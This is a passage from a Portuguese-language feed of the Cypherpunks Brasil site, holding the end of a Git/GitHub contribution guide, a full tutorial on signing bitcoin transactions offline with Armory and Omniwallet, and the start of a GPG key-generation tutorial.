&lt;p>Depois disso, você vai colocar um título no seu &lt;em>pull request&lt;/em>, para que, ao visualizar a listagem de &lt;em>pull requests&lt;/em>, fique fácil saber do que se trata. Normalmente, quando você só tem uma mensagem de &lt;em>commit&lt;/em>, esse título é assumido com a mensagem. Ajuste conforme a necessidade.&lt;/p>
&lt;p>Lembre-se de comentar porque você está fazendo esse &lt;strong>pull request&lt;/strong> e porque faz sentido para o repositório. Uma boa defesa pode ajudar a fazer com que seu &lt;strong>pull request&lt;/strong> seja aceito.&lt;/p>
&lt;p>Antes de clicar no botão &lt;strong>Create pull request&lt;/strong>, confira os dados da imagem abaixo:
&lt;img class="img-fluid" alt="Conferir Pull Request" src="https://cypherpunks.com.br/stuff/gitgithub-06.png" loading="lazy"
width="3110" height="1607"
/>
&lt;/p>
&lt;p>Rolando um pouco, você vai ver os &lt;em>commits&lt;/em> que você fez. Confira se está na &lt;em>branch&lt;/em> correta, e que você está enviando somente aquilo que você alterou. Se você escolher uma &lt;strong>branch&lt;/strong> errada para enviar, você verá milhares de outras alterações - ou talvez nenhuma, se for a mesma &lt;em>branch&lt;/em> - que não fará sentido de ser feito o &lt;strong>merge&lt;/strong> do &lt;em>pull request&lt;/em>.&lt;/p>
&lt;p>No meu caso, eu fiz só uma alteração no &lt;strong>GLOSSARIO.md&lt;/strong>, adicionando a expressão &amp;ldquo;Blind signature - assinatura disfarçada ou oculta&amp;rdquo;.&lt;/p>
&lt;p>Depois de tudo verificado, clique no botão &lt;strong>Creat pull request&lt;/strong> e aguarde a resposta! Você será avisado por e-mail - se você não desabilitou as notificações - se houver qualquer atividade nesse &lt;em>pull request&lt;/em>. Se a &lt;em>branch&lt;/em> for fechada, foi por que o autor achou que a alteração não fez sentido ou o &lt;strong>merge&lt;/strong> foi feito.&lt;/p>
&lt;p>Se ele fez o &lt;strong>merge&lt;/strong>, então sua alteração já faz parte do repositório principal, e você aparecerá na guia &lt;strong>Contributors&lt;/strong> do repositório principal:
&lt;img class="img-fluid" alt="Colaboradores" src="https://cypherpunks.com.br/stuff/gitgithub-07.png" loading="lazy"
width="991" height="171"
/>
&lt;img class="img-fluid" alt="Lista de colaboradores" src="https://cypherpunks.com.br/stuff/gitgithub-08.png" loading="lazy"
width="1005" height="704"
/>
Como você viu na imagem acima, aparece quantos &lt;em>commits&lt;/em> você fez, quanto código você adicionou e quanto você removeu!&lt;/p>
&lt;h2 id="v---modificações-aprovadas">V - Modificações aprovadas&lt;/h2>
&lt;p>Caso o autor do repositório tenha aprovado sua &lt;strong>branch&lt;/strong> e feito &lt;strong>merge&lt;/strong>, siga os seguintes passos:&lt;/p>
&lt;pre tabindex="0">&lt;code>git checkout main
git push origin :Atualiza_glossario
git branch -D Atualiza_glossario
&lt;/code>&lt;/pre>&lt;p>Como você bem se lembra, o primeiro comando (&lt;code>git checkout main&lt;/code>) muda para a &lt;em>branch main&lt;/em>. O segundo comando (&lt;code>git push origin :Atualiza_glossario&lt;/code>) envia uma instrução para deletar a &lt;em>branch&lt;/em> &lt;strong>Atualiza_glossario&lt;/strong> do repositório da sua conta do &lt;strong>GitHub&lt;/strong>. Enfim, o terceiro comando deleta a &lt;em>branch&lt;/em> do seu repositório local.&lt;/p>
&lt;p>&lt;em>Mas por que eu deveria apagar minhas branchs, não seria mais fácil eu simplesmente dar &lt;strong>merge&lt;/strong> no meu repositório local e no GitHub?&lt;/em>
Você pode fazer isso, mas se houver outros &lt;strong>commit&lt;/strong> aprovados antes do seu, você terá que atualizar o repositório com o oficial depois da mesma forma. Estamos sugerindo apenas que você atualize tudo de uma vez 😄&lt;/p>
&lt;p>O próximo passo atualizará seu repositorio, tanto remoto quanto localmente.&lt;/p>
&lt;h2 id="vi---manter-o-projeto-sempre-atualizado">VI - Manter o projeto sempre atualizado&lt;/h2>
&lt;p>&lt;em>Como atualizar seu repositório com o repositório oficial?&lt;/em>
O seu repositório &lt;em>forkado&lt;/em> normalmente é adicionado como &lt;strong>origin&lt;/strong> quando você faz o &lt;strong>clone&lt;/strong>. Para sincronizar com o repositório principal, adicione esse repositório com outro nome (no nosso caso, &lt;strong>upstream&lt;/strong> que é o nome do meu remote, poderia ser outro nome).&lt;/p>
&lt;pre tabindex="0">&lt;code>git remote add upstream git@github.com:cypherpunksbr/cypherpunks.com.br.git
&lt;/code>&lt;/pre>&lt;p>É importante que você execute este comando logo após clonar o repositório para sua máquina. Este serve para dizer ao seu repositório local qual é a origem do repositório e servirá para manter seu &lt;em>fork&lt;/em> atualizado de acordo com o repositório oficial. Se você apagar (por acidente, por exemplo) seu repositório local e clonar de novo, execute o mesmo comando.&lt;/p>
&lt;p>Após isso faça o seguinte:&lt;/p>
&lt;pre tabindex="0">&lt;code>git fetch upstream
git rebase upstream/main
git push -f origin main
&lt;/code>&lt;/pre>&lt;p>O comando &lt;code>git fetch upstream&lt;/code> pega os dados do repositório remoto que nomeamos como &lt;strong>upstream&lt;/strong>, no nosso caso é o &lt;code>git@github.com:cypherpunksbr/cypherpunks.com.br.git&lt;/code>.
O comando &lt;code>git rebase upstream/main&lt;/code> rescreve o seu &lt;strong>branch main&lt;/strong> de forma que os seus &lt;em>commits&lt;/em>, que não estão no projeto original, apareçam e os deixem no topo da lista.&lt;/p>
&lt;p>Se você não quiser reescrever o histórico do seu branch main (talvez porque alguém já o tenha clonado) então você deve substituir o último comando por um &lt;code>git merge upstream/main&lt;/code>. No entanto, para fazer com que futuros &lt;em>pull requests&lt;/em> fiquem o mais limpos possível, é uma boa ideia fazer o &lt;em>rebase&lt;/em>.&lt;/p>
&lt;p>Se você fez o &lt;strong>rebase&lt;/strong> do seu &lt;strong>branch&lt;/strong> a partir de &lt;code>upstream/main&lt;/code>, recomendamos você a forçar um push para o seu próprio repositório do &lt;strong>Github&lt;/strong>. Você pode fazer isso com &lt;code>git push -f origin main&lt;/code>.&lt;/p>
&lt;p>Quando iniciar uma nova contribuição comece pelo passo a partir da criação da &lt;strong>branch&lt;/strong>.&lt;/p>
&lt;p>Se você entendeu toda a explicação, volte ao começo do texto e faça o &lt;a href="#passo-a-passo-simplificado">passo a passo simplificado&lt;/a>
.&lt;/p></content:encoded></item><item><title>Transações offline com Armory (texto da antiga wiki)</title><link>https://cypherpunks.com.br/documentos/wiki-armory/</link><pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/wiki-armory/</guid><description>Tutorial movido da antiga wiki Cypherpunks Brasil para o site.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="transações-offline-com-armory">Transações offline com Armory&lt;/h1>
&lt;hr>
&lt;p>O Armory é open source e atualmente seu desenvolvimento é feito pela comunidade. Ela é uma das carteiras de bitcoin mais seguras. Sua grande vantagem está na possibilidade de criar e deixar suas chaves privadas em um PC offline, reduzindo drasticamente vetores de ataque. Essa é a chamada cold storage ou armazenamento a frio.&lt;/p>
&lt;p>O funcionamento é bem simples. A carteira que fica online inicia mas não consegue completar uma transação. Para isso ela tem que ter autorização da carteira offline. Assim se um atacante conseguir acesso a sua carteira (a que fica sempre online, claro) não vai conseguir fazer nenhuma transação, pois precisa da autorização da carteira que fica em outro computador (a que fica offline).
As autorizações das transações ocorrem através de arquivos entre o computador offline e o online. Arquivos que podem ser transferidos com o uso de pendrive, CD, DVD etc.&lt;/p>
&lt;p>Essa forma de transação é mais demorada, sendo indicada para carteiras que guardam grandes valores e necessitam maior cuidado com a segurança. Se você faz transações de pequenas quantidades com maior frequência, use uma carteira online como a Exodus por exemplo.&lt;/p>
&lt;p>Nesse tutorial vamos usar o Linux para a carteira offline e a Omniwallet para online.
Assim não precisamos baixar a blockchain no computador. Teremos uma redução de privacidade por usar a Omni, mas como todas as transações são públicas creio que isso não seja um grande problema.&lt;/p>
&lt;p>Podemos fazer o download e a instalação com o computador que ficará offline conectado, mas logo que terminarmos a instalação esse PC nunca mais deve entrar em contato com a rede. Você pode baixar o instalador em uma máquina e transferir o arquivo para o offline como opção.&lt;/p>
&lt;h2 id="i---download-verificação-do-instalador-e-instalação">I - Download, verificação do instalador e instalação&lt;/h2>
&lt;p>Não usaremos o &lt;a href="https://www.bitcoinarmory.com" target="_blank" rel="noopener noreferrer">site oficial&lt;/a>
para baixar o instalador e sim o &lt;a href="https://github.com/goatpig/BitcoinArmory/" target="_blank" rel="noopener noreferrer">repositório do GitHub&lt;/a>
da carteira por conter todos os arquivos necessários e atualizados.
Baixe a versão mais recente do instalador compatível com seu sistema operacional juntamente com a chave pública do desenvolvedor e o hash nos links abaixo:&lt;/p>
&lt;ul>
&lt;li>Windows &lt;a href="https://github.com/goatpig/BitcoinArmory/releases/download/v0.96.4/armory_0.96.4-win64.exe" target="_blank" rel="noopener noreferrer">instalador&lt;/a>
ou &lt;a href="https://github.com/goatpig/BitcoinArmory/releases/download/v0.96.4/armory_0.96.4-win64.zip" target="_blank" rel="noopener noreferrer">portátil&lt;/a>
/ Linux &lt;a href="https://github.com/goatpig/BitcoinArmory/releases/download/v0.96.4/armory_0.96.4_amd64_gcc4.7_noasm.deb" target="_blank" rel="noopener noreferrer">GCC4.7&lt;/a>
ou &lt;a href="https://github.com/goatpig/BitcoinArmory/releases/download/v0.96.4/armory_0.96.4_amd64_gcc7.2.deb" target="_blank" rel="noopener noreferrer">GCC7.2&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://github.com/goatpig/BitcoinArmory/releases/download/v0.96.4/sha256sum.asc" target="_blank" rel="noopener noreferrer">Hash&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://github.com/goatpig/BitcoinArmory/blob/master/PublicKeys/goatpig-signing-key.asc" target="_blank" rel="noopener noreferrer">Chave pública&lt;/a>
&lt;/li>
&lt;/ul>
&lt;p>Após o download de todos os arquivos precisaremos importar a chave pública do desenvolvedor para o gerenciador de chaves com o comando:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg –import goatpig-signing-key.asc
&lt;/code>&lt;/pre>&lt;p>Logo após isso, verificaremos o arquivo de hash com:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg –verify sha256sum.asc
&lt;/code>&lt;/pre>&lt;p>Isso é importante para ter certeza da autenticidade da origem do arquivo (se foi assinado pelo desenvolvedor), além de verificar se não está corrompido.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="assinatura" src="https://cypherpunks.com.br/stuff/armory-01.png" loading="lazy"
width="658" height="437"
/>
&lt;/p>
&lt;p>Agora precisamos verificar o hash do instalador. Digite no terminal:&lt;/p>
&lt;pre tabindex="0">&lt;code>sha256sum armory_0.96.4_amd64_gcc4.7_noasm.deb
&lt;/code>&lt;/pre>&lt;p>Copie o hash que aparece e, então, abra o sha256sum.asc com um editor de texto e confira o hash do instalador que baixou. Para verificar se os hashes correspondem não olhe caractere por caractere, abra a função de localização e cole o hash que você copiou do terminal. O resultado deve ser igual ao hash da mensagem assinada.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="hash" src="https://cypherpunks.com.br/stuff/armory-02.png" loading="lazy"
width="1920" height="1080"
/>
&lt;/p>
&lt;p>Uma forma de verificar o arquivo rapidamente é digitando:&lt;/p>
&lt;pre tabindex="0">&lt;code>sha256sum -c sha256sum.asc armory_0.96.4_amd64_gcc7.2.deb
&lt;/code>&lt;/pre>&lt;p>Isto irá gerar uma saída em que a linha que nos interessa contém:&lt;/p>
&lt;pre tabindex="0">&lt;code>armory_0.96.4_amd64_gcc7.2.deb: SUCESSO
&lt;/code>&lt;/pre>&lt;p>Com tudo verificado podemos instalar.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="instalacao" src="https://cypherpunks.com.br/stuff/armory-03.png" loading="lazy"
width="552" height="426"
/>
&lt;/p>
&lt;p>Os pacotes extras serão instalados automaticamente.&lt;/p>
&lt;h2 id="ii---configuração-e-criação-da-carteira">II - Configuração e criação da carteira&lt;/h2>
&lt;p>Antes de abrir o programa pela primeira vez é importante desconectar o computador. Se você baixou o instalador a partir de outro computador, melhor ainda, podemos seguir normalmente.&lt;/p>
&lt;p>&lt;strong>Atenção&lt;/strong>
A partir de agora seu PC offline nunca mais deve entrar em contato com a internet para garantir a melhor segurança de sua carteira. Dessa forma um atacante só vai conseguir acesso ao seu computador se estiver frente a ele fisicamente.&lt;/p>
&lt;p>Abra o Armory e, após aceitar os termos, vamos criar nossa carteira offline.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-04.png" loading="lazy"
width="1920" height="1080"
/>
&lt;/p>
&lt;p>Por enquanto vamos clicar em skip.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-05.png" loading="lazy"
width="752" height="236"
/>
&lt;/p>
&lt;p>Clique em User e selecione Expert.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-06.png" loading="lazy"
width="1002" height="677"
/>
&lt;/p>
&lt;p>Feche o programa e abra novamente.&lt;/p>
&lt;p>Quando aparecer a pergunta se quer usar o Armory como programa padrão de bitcoin pode aceitar. Nesse computador offline nenhum outro programa deve estar instalado, portanto isso não importa muito.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-07.png" loading="lazy"
width="458" height="211"
/>
&lt;/p>
&lt;p>Agora vamos em Create Your First Wallet.&lt;/p>
&lt;p>&lt;a href="../stuff/armory-08.png">&lt;/a>
&lt;/p>
&lt;p>Selecione Add Manual Entropy.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-09.png" loading="lazy"
width="1432" height="802"
/>
&lt;/p>
&lt;p>Escolha cartas aleatoriamente até gerar pelo menos 192 bits de entropia (quanto maior a entropia melhor), depois clique em Next.&lt;/p>
&lt;p>Agora crie uma senha boa para sua carteira.
Essa senha vai te proteger caso alguém tenha acesso físico ao seu computador.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-10.png" loading="lazy"
width="502" height="387"
/>
&lt;/p>
&lt;p>Depois de repetir a senha vamos criar o backup em papel.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-11.png" loading="lazy"
width="512" height="458"
/>
&lt;/p>
&lt;p>Essa é a etapa mais importante!
Vamos usar a opção Single-Sheet, que protege a carteira mesmo que a senha do passo anterior seja perdida.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-12.png" loading="lazy"
width="682" height="623"
/>
&lt;/p>
&lt;p>Anote com atenção sua Root Key, Wallet Version e Wallet ID. Faça algumas cópias e guarde em locais seguros.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-13.png" loading="lazy"
width="728" height="870"
/>
&lt;/p>
&lt;p>&lt;strong>Atenção&lt;/strong>
Qualquer pessoa que conseguir acesso a esse backup em papel terá acesso ao seus Bitcoins!
&lt;strong>Não tire nenhuma foto do QR code!&lt;/strong>&lt;/p>
&lt;p>Depois de copiar essas informações em papel e conferir tudo feche essa janela e clique em Test Backup.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-14.png" loading="lazy"
width="582" height="386"
/>
&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-15.png" loading="lazy"
width="591" height="468"
/>
&lt;/p>
&lt;p>Se tudo estiver correto veremos a seguinte mensagem.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-16.png" loading="lazy"
width="589" height="276"
/>
&lt;/p>
&lt;p>Feche a janela. E de volta ao Step 4 clique em next.&lt;/p>
&lt;p>Agora podemos criar uma Watching-Only Wallet, essa é a wallet que ficará no PC online para monitorar e iniciar transações.
Nesse tutorial vamos usar a Omni para isso, mas caso tenha interesse em baixar a blockchain e usar a parte online do Armory você pode criar essa Watching-Only Wallet. Basta salvar o arquivo e enviar para o PC online.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-17.png" loading="lazy"
width="529" height="435"
/>
&lt;/p>
&lt;p>Feche essa janela e o Wallet Creation Wizard.&lt;/p>
&lt;p>Como o backup já foi feito em papel pode clicar em Yes.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-18.png" loading="lazy"
width="502" height="257"
/>
&lt;/p>
&lt;p>Pronto!
Essa é uma carteira determinística, então todos os endereços gerados estão protegidos no backup em papel. Uma carteira determinística (HD Wallet) é capaz de gerar sempre um novo endereço público para cada transação de envio ou recebimento, com a praticidade de se poder acessá-los com a mesma chave.&lt;/p>
&lt;h1 id="omniwallet-e-armory">Omniwallet e Armory&lt;/h1>
&lt;p>Vamos usar a &lt;strong>Omniwallet&lt;/strong> para iniciar as transações dessa forma não precisamos baixar toda a blockchain do bitcoin. A desvantagem é que cada chave publica deve ser importada manualmente.&lt;/p>
&lt;h2 id="iii---exportar-a-chave-pública">III - Exportar a chave pública&lt;/h2>
&lt;p>Abra o Armory no PC offline e clique em Lockboxes.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-19.png" loading="lazy"
width="327" height="400"
/>
&lt;/p>
&lt;p>Select Publick Key.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-20.png" loading="lazy"
width="868" height="638"
/>
&lt;/p>
&lt;p>Escolha um endereço.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-21.png" loading="lazy"
width="687" height="493"
/>
&lt;/p>
&lt;p>Clique em Select Address.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-22.png" loading="lazy"
width="1153" height="515"
/>
&lt;/p>
&lt;p>Copie a chave pública para um arquivo de texto e transfira para o PC online.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-23.png" loading="lazy"
width="687" height="493"
/>
&lt;/p>
&lt;p>Agora entre na sua conta da Omniwallet. Vá em My Addresses – Add Addresses – Add Armory Offline Address.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-24.png" loading="lazy"
width="1164" height="360"
/>
&lt;/p>
&lt;p>Cole a chave pública que foi salva no arquivo de texto e clique Add Address.&lt;/p>
&lt;p>Esse ícone mostra que a chave privada está offline.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-26.png" loading="lazy"
width="652" height="493"
/>
&lt;/p>
&lt;h2 id="iv---enviar-moedas-da-carteira-offline">IV - Enviar moedas da carteira offline&lt;/h2>
&lt;p>Quando você selecionar um endereço offline para enviar bitcoins você terá que salvar uma &lt;strong>transação não assinada&lt;/strong> em um arquivo de texto, que é um pedido de assinatura para a chave privada. Basta salvar o arquivo e enviar para o PC offline.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-27.png" loading="lazy"
width="606" height="379"
/>
&lt;/p>
&lt;p>Com o arquivo no PC Offline clique em Offline Transactions e depois Sign Offline Transaction.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-28.png" loading="lazy"
width="561" height="550"
/>
&lt;/p>
&lt;p>Clique em Load File, carregue a transação não assinada e clique em Sign.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-29.png" loading="lazy"
width="818" height="557"
/>
&lt;/p>
&lt;p>Depois escolha Broadcast e salve a transação assinada em um outro arquivo de texto. Após isso, envie o arquivo para o PC online.&lt;/p>
&lt;p>De volta a Omniwallet vá em &lt;code>My Addresses –&amp;gt; Actions –&amp;gt; Broadcast Transaction&lt;/code>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-30.png" loading="lazy"
width="994" height="254"
/>
&lt;/p>
&lt;p>Cole o texto assinado e clique em Broadcast.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/armory-31.png" loading="lazy"
width="607" height="562"
/>
&lt;/p>
&lt;p>&lt;strong>Se todos os passos foram seguidos corretamente seus bitcoins foram enviados e em nenhum momento a chave privada foi exposta a rede.&lt;/strong>&lt;/p></content:encoded></item><item><title>Tutorial GPG - Passo a Passo Simplificado</title><link>https://cypherpunks.com.br/documentos/wiki-gpg/</link><pubDate>Tue, 01 Jan 2019 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/wiki-gpg/</guid><description>Tutorial movido da antiga wiki Cypherpunks Brasil para o site.</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="gpg">GPG&lt;/h1>
&lt;hr>
&lt;h2 id="passo-a-passo-simplificado">Passo a passo simplificado&lt;/h2>
&lt;h6 id="1-criar-o-par-de-chaves">1. Criar o par de chaves&lt;/h6>
&lt;pre tabindex="0">&lt;code>gpg --full-generate-key
&lt;/code>&lt;/pre>&lt;h6 id="2-escolher-o-tipo-de-chave">2. Escolher o tipo de chave&lt;/h6>
&lt;pre tabindex="0">&lt;code>Por favor selecione o tipo de chave desejado:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (apenas assinatura)
(4) RSA (apenas assinatura)
Opção? 2
&lt;/code>&lt;/pre>&lt;h6 id="3-escolher-o-comprimento-de-chave">3. Escolher o comprimento de chave&lt;/h6>
&lt;pre tabindex="0">&lt;code>DSA chaves podem ter o seu comprimento entre 1024 e 3072 bits.
Que tamanho de chave você quer? (2048) 3072
&lt;/code>&lt;/pre>&lt;h6 id="4-definir-a-validade-da-chave">4. Definir a validade da chave&lt;/h6>
&lt;pre tabindex="0">&lt;code>Por favor especifique por quanto tempo a chave deve ser válida.
0 = chave não expira
&amp;lt;n&amp;gt; = chave expira em n dias
&amp;lt;n&amp;gt;w = chave expira em n semanas
&amp;lt;n&amp;gt;m = chave expira em n meses
&amp;lt;n&amp;gt;y = chave expira em n anos
A chave é valida por? (0) 0
&lt;/code>&lt;/pre>&lt;h6 id="5-confirmar-a-validade">5. Confirmar a validade&lt;/h6>
&lt;pre tabindex="0">&lt;code>A chave não expira nunca
Está correto? (s/n) s
&lt;/code>&lt;/pre>&lt;h6 id="6-preencher-os-dados-que-identificarão-a-chave-comentário-é-opcional">6. Preencher os dados que identificarão a chave. Comentário é opcional.&lt;/h6>
&lt;pre tabindex="0">&lt;code>GnuPG precisa construir uma ID de usuário para identificar sua chave.
Nome completo: Satoshi Nakamoto
Endereço de correio eletrônico: satoshin@gmx.com
Comentário: Apenas teste
&lt;/code>&lt;/pre>&lt;h6 id="7-confirmar-os-dados">7. Confirmar os dados&lt;/h6>
&lt;pre tabindex="0">&lt;code>Você selecionou este identificador de utilizador:
&amp;#34;Satoshi Nakamoto (Apenas teste) &amp;lt;satoshin@gmx.com&amp;gt;&amp;#34;
Mudar (N)ome, (C)omentário, (E)ndereço ou (O)k/(S)air? o
&lt;/code>&lt;/pre>&lt;h6 id="8-defina-uma-senha-para-a-chave-na-janela-que-se-abre-e-confirme-a-clicando-em-ok">8. Defina uma senha para a chave na janela que se abre e confirme-a clicando em &lt;code>ok&lt;/code>&lt;/h6>
&lt;h6 id="9-certificado-de-revogação">9. Certificado de revogação&lt;/h6>
&lt;p>Este certificado está guardado em&lt;/p>
&lt;pre tabindex="0">&lt;code>/home/satoshi/.gnupg/openpgp revocs.d/0D37DDC70358BD306685E18083048A80F80A2DB5.rev
&lt;/code>&lt;/pre>&lt;p>Caso queira gerar manualmente digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --output revoke.asc --gen-revoke mykey
&lt;/code>&lt;/pre>&lt;h6 id="10-backup-e-restauração-das-chaves">10. Backup e restauração das chaves&lt;/h6>
&lt;p>Listar as chaves públicas e privadas respectivamente:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --list-keys
gpg --list-secret-keys
&lt;/code>&lt;/pre>&lt;p>Salvar as chaves pública e privada respectivamente:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg -ao public.mypgp.key --export ID_da_chave
gpg -ao private.mypgp.key --export-secret-keys ID_da_chave
&lt;/code>&lt;/pre>&lt;p>Agora se você precisar restaurar as chaves é só fazer:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --import public.mypgp.key
gpg --import private.mypgp.key
&lt;/code>&lt;/pre>&lt;h6 id="11enviar-a-chave-pública-para-um-servidor-de-chaves">11.Enviar a chave pública para um servidor de chaves&lt;/h6>
&lt;pre tabindex="0">&lt;code>gpg --keyserver pgp.mit.edu --send-keys ID_da_chave
&lt;/code>&lt;/pre>&lt;h2 id="passo-a-passo-detalhado">Passo a passo detalhado&lt;/h2>
&lt;h3 id="criação-das-chaves">Criação das chaves&lt;/h3>
&lt;p>Para criar o par de chaves digite:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg --full-generate-key
&lt;/code>&lt;/pre>&lt;p>Após apertar &lt;code>Enter&lt;/code>, aparecerá na tela:&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg (GnuPG) 2.2.10; Copyright (C) 2018 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Por favor selecione o tipo de chave desejado:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (apenas assinatura)
(4) RSA (apenas assinatura)
Opção?
&lt;/code>&lt;/pre>&lt;p>Escolha a opção &lt;code>(2) DSA e Elgamal&lt;/code>, digitando &lt;code>2&lt;/code> e apertando &lt;code>Enter&lt;/code>&lt;/p>
&lt;pre tabindex="0">&lt;code>DSA chaves podem ter o seu comprimento entre 1024 e 3072 bits.
Que tamanho de chave você quer? (2048)
&lt;/code>&lt;/pre>&lt;p>Neste momento digite &lt;code>3072&lt;/code> que é o comprimento máximo da chave.&lt;/p>
&lt;pre tabindex="0">&lt;code>Por favor especifique por quanto tempo a chave deve ser válida.
0 = chave não expira
&amp;lt;n&amp;gt; = chave expira em n dias
&amp;lt;n&amp;gt;w = chave expira em n semanas
&amp;lt;n&amp;gt;m = chave expira em n meses
&amp;lt;n&amp;gt;y = chave expira em n anos
A chave é valida por? (0)
&lt;/code>&lt;/pre>&lt;p>Agora devemos escolher a validade da chave. Neste exemplo, optamos por escolher uma chave que nunca expira, utilizando a opção &lt;code>(0)&lt;/code> e, logo em seguida, confirmando com &lt;code>s&lt;/code>.&lt;/p>
&lt;pre tabindex="0">&lt;code>A chave não expira nunca
Está correto? (s/n)
&lt;/code>&lt;/pre>&lt;p>Em seguida você precisará preencher os dados para identificar sua chave. O comentário é opcional.&lt;/p>
&lt;pre tabindex="0">&lt;code>GnuPG precisa construir uma ID de usuário para identificar sua chave.
Nome completo: Satoshi Nakamoto
Endereço de correio eletrônico: satoshin@gmx.com
Comentário: Apenas teste
&lt;/code>&lt;/pre>&lt;p>A seguir aparecerão os dados da sua chave&lt;/p>
&lt;pre tabindex="0">&lt;code>Você selecionou este identificador de utilizador:
&amp;#34;Satoshi Nakamoto (Apenas teste) &amp;lt;satoshin@gmx.com&amp;gt;&amp;#34;
Mudar (N)ome, (C)omentário, (E)ndereço ou (O)k/(S)air?
&lt;/code>&lt;/pre>&lt;p>Escolha a opção correspondente a letra destacada e tecle &lt;code>Enter&lt;/code>&lt;/p>
&lt;p>Logo a seguir aparecerá uma tela pedindo para você criar uma senha e confirmá-la. Sugerimos que crie uma que seja fácil para você memorizar e difícil para outros deduzirem, além de ser longa, ter caracteres especiais, números, letras maiúsculas e minúsculas. Não é obrigatório ter todos esses requisitos, mas é altamente recomendável.
Após clicar em &lt;code>OK&lt;/code> mova o mouse e aperte em teclas aleatórias para que o gerador de números aleatórios ganhe entropia suficiente, de acordo com a mensagem que aparece no terminal.&lt;/p>
&lt;pre tabindex="0">&lt;code>Precisamos gerar muitos bytes aleatórios. É uma boa ideia realizar outra
actividade (escrever no teclado, mover o mouse, usar os discos) durante a
geração dos números primos; isso dá ao gerador de números aleatórios
uma hipótese maior de ganhar entropia suficiente.
gpg: AVISO: alguns programas OpenPGP não podem manipular uma chave DSA com esse tamanho de resumo
&lt;/code>&lt;/pre>&lt;p>Em seguida serão exibidas todas as informações da chave criada&lt;/p>
&lt;pre tabindex="0">&lt;code>gpg: chave 83048A80F80A2DB5 marcada como plenamente confiável
gpg: revocation certificate stored as &amp;#39;/home/satoshi/.gnupg/openpgp-revocs.d/0D37DDC70358BD306685E18083048A80F80A2DB5.rev&amp;#39;
chaves pública e privada criadas e assinadas.
pub dsa3072 2018-12-12 [SC]
0D37DDC70358BD306685E18083048A80F80A2DB5
uid Satoshi Nakamoto (Apenas teste) &amp;lt;satoshin@gmx.com&amp;gt;
sub elg3072 2018-12-12 [E]
&lt;/code>&lt;/pre>&lt;p>Observe a linha que contém &lt;code>gpg: revocation certificate stored as '/home/satoshi/.gnupg/openpgp-revocs.d/0D37DDC70358BD306685E18083048A80F80A2DB5.rev'&lt;/code>&lt;/p>
